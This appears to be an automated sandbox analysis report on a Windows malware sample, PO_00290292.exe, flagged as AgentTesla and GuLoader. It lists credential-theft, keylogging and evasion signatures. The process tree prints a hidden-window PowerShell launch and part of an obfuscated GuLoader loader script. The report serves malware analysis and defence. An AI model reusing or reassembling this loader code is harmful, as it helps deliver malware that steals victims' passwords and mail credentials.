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Windows
Analysis Report
PO_00290292.exe
Overview
General Information
Detection
AgentTesla, GuLoader
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Found malware configuration
Multi AV Scanner detection for submitted file
Sigma detected: MSBuild connects to smtp port
Yara detected AgentTesla
Yara detected AntiVM3
Yara detected GuLoader
Contains functionality to register a low level keyboard hook
Found suspicious powershell code related to unpacking or dynamic code loading
Initial sample is a PE file and has a suspicious name
Installs a global keyboard hook
Maps a DLL or memory area into another process
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Suspicious powershell command line found
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Very long command line found
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to read the PEB
Contains functionality to shutdown / reboot the system
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Classification
- System is w10x64
- PO_00290292.exe (PID: 5868 cmdline:
C:\Users\u ser\Deskto p\PO_00290 292.exe MD5: CC69508628ADE733AA8BD21A0A646514) - powershell.exe (PID: 6060 cmdline:
powershell .exe -wind owstyle hi dden $derr emc = Get- Content ' C:\Users\u ser\AppDat a\Local\bl indsmagnin gen\Nonpro curement\L ection.Fle ' ; powers hell.exe " $derremc" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 5592 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7224 cmdline:
C:\Windows \System32\ WindowsPow erShell\v1 .0\powersh ell.exe" " <#Spejlven de Journal iseringssy stems Cons ervatorial #><#Basil ikers Toot hcomb Letf ordrvelig #>$Portuga ls = """Ko ;SmFOmu Rn Fac FtTwiS toFonDe Ot PAlyInxHui PdSkeInsE r4 F In{ S tv Po fi TupOvaBerG aafomPa(sm [BeS Tt Hr PeiAunOsgE v]Ov`$SpSu ioBelAnfPs a UlCedTo) Fo;bu Go`$ OvNSkoOprD etNohObuRh m Cb OeLir Aal BaTonb odDe Fu=Sk Ru`$ VSSp oAnlVafHea PulHldRe.C iLHaePrnAs gFatInh M; Ne L Vi Af Ta`$PoD R rAniElf Ot SvsPasUnye xs OtSteRi mBumreeRet AnsSm Tr=C h NoNArevv wAp-LaO Nb SojOpe DcS tt P Tb Ry FtSneVa[P r]Wh Ud(Le `$miNBioLi r VtPahMuu Udm TbSaep erGalAfaIn nDedLi Op/ ci St2Bo)A n; K Ps`$P rRfioCadUn tUme PgAnn GyeovtAn1S t6Ug8Ab=Pi ' CS AU D' In+ P'EdBU nSSpTBoRUn IThNDoG l' Aa;Af Da C o Im TF Fo WarDe( D`$ StNEnoChnC yetexNupud eOvccrt Fa TanPatPa= U0Pl;No Ho `$NoNByoHj nUtelix Tp OeSoc St FaUnnSvtSy Op-ShlTet Re J`$KoNa koVurActQu h SuBumUdb YeeovrOrlS uaMinCrdcr ;Li U`$SeN MaoPinTreP axAlpspeLo cHetSmaUnn BetBa+ro= G2Tr) P{Se Un He He Un Au Ko T a ar`$PoDD er BiDefTe t BsTrsBoy Ths BtNaeu nmKnmWaeAm tDosCa[ S` $ScNUgoBln MaeApxEkpC aeRec At H aInnentDr/ Ho2 U] K K a= S Da[st cSmoPan Bv SkeLer OtO b] N:Zi:Un TreoAaB Sy Brt GeHa( d`$ JSMaoW ilkofHoaOv lHodOm.No` $AtRPaoPod Gitage NgT nnMaemat F 1re6Ar8Be. CoI FnPhvS poNektieJo (Fl`$PhN D o OnBoe Rx Cop ReSicT atInaSanBa tJo,Ln Sp2 Fu)Ep,Tr K 1Cl6Un)Br; Po in F`$g aDPerChiMe fKotRasOvs Tey SsRetB oeFimSumIn e wtUdsFi[ Ar`$TrNMoo Sn Ue DxC ypByeRocCo tAnaNunomt Te/Ph2No]s t Ar=So Ha xGaoKnrSoa QummiiBa S k`$MoDShrS ei Sf Utso sPrsSpyLes dotBieDimD omRreUntSp s P[ U`$Un NAroRen Ae BexHopGee Sc PtBaaIn nIntEa/Be2 ov]Fi Po1P l1 M0Gl;ra N un Po F l}Fo Ou[Ps SCotUnrPhi SynSogUn]D e[PeSSuy P sLitSkepym In.KaTSoe LxAntEu.Si EVan Dc Uo dedPriFnn PgSp]Ph: e :AyAPoSOoC MIFuIJa.P aGGee LtBe SCatStrEri wnUng B(d a`$ElDCarI siAtfPat B sChs SyMns PttSeeUdmO vmaueDrtPa s E)Ra;Un} St`$VeEBis metBjiGamS teHarDiiHa nTogSmetor Ch0 D=KoPG rySvxPuiOv dSme Ks l4 Fi Sk'Au3S tDHo1Af7Bo 1TrDal1SyA sp0SiBri0 H3Cr4Af0Ma 0PlABa0Af2 B0Gr2St'G a;Ov`$deEN esNetTiiFi mBreKirSai LenWagfjeB orLe1Py=Au P lyLexUni FedCleGesa t4Op Fa'Ra 2Pr3ta0 e7 D0KlDUn1N oCCo0Li1 R 1 TDWe0Un1 D0Yv8Su1 TA O4 R0 A 3ny9Sl0Fo7 Cr0In0Ta5D aD K5ThCLo 4 W0Kd3 KB F0Em0ig1S kD D0ReF R 0ir8Bu0FoB Op2Ir0De0 SFUg1arAMa 0St7Va1Be8 A0UnBKa2G e3Ho0JuB A 1 RA A0Vi6 G0 G1An0D eAHa1KaDPr 'Wh; V`$ C EKos StSoi SmEneUnr ui TnNog S eOvrMe2As= ApPTaySaxD riUndreeTe sSp4In ap' In2 d9Bl0C rBSa1 AAUn 3MaESk1VaC un0Ch1Te0D dDin2SlFBu 0SaAAl0TeA F1DyC D0T aBSt1 KDEl 1TrDbr'Ra; Ca`$FaEHas SetPaiNim ReElrHai F nStgUre Ir gr3 I=LaPG ayWexfliBd dSoeBosPa4 No ek'Re3S tDIn1mi7Un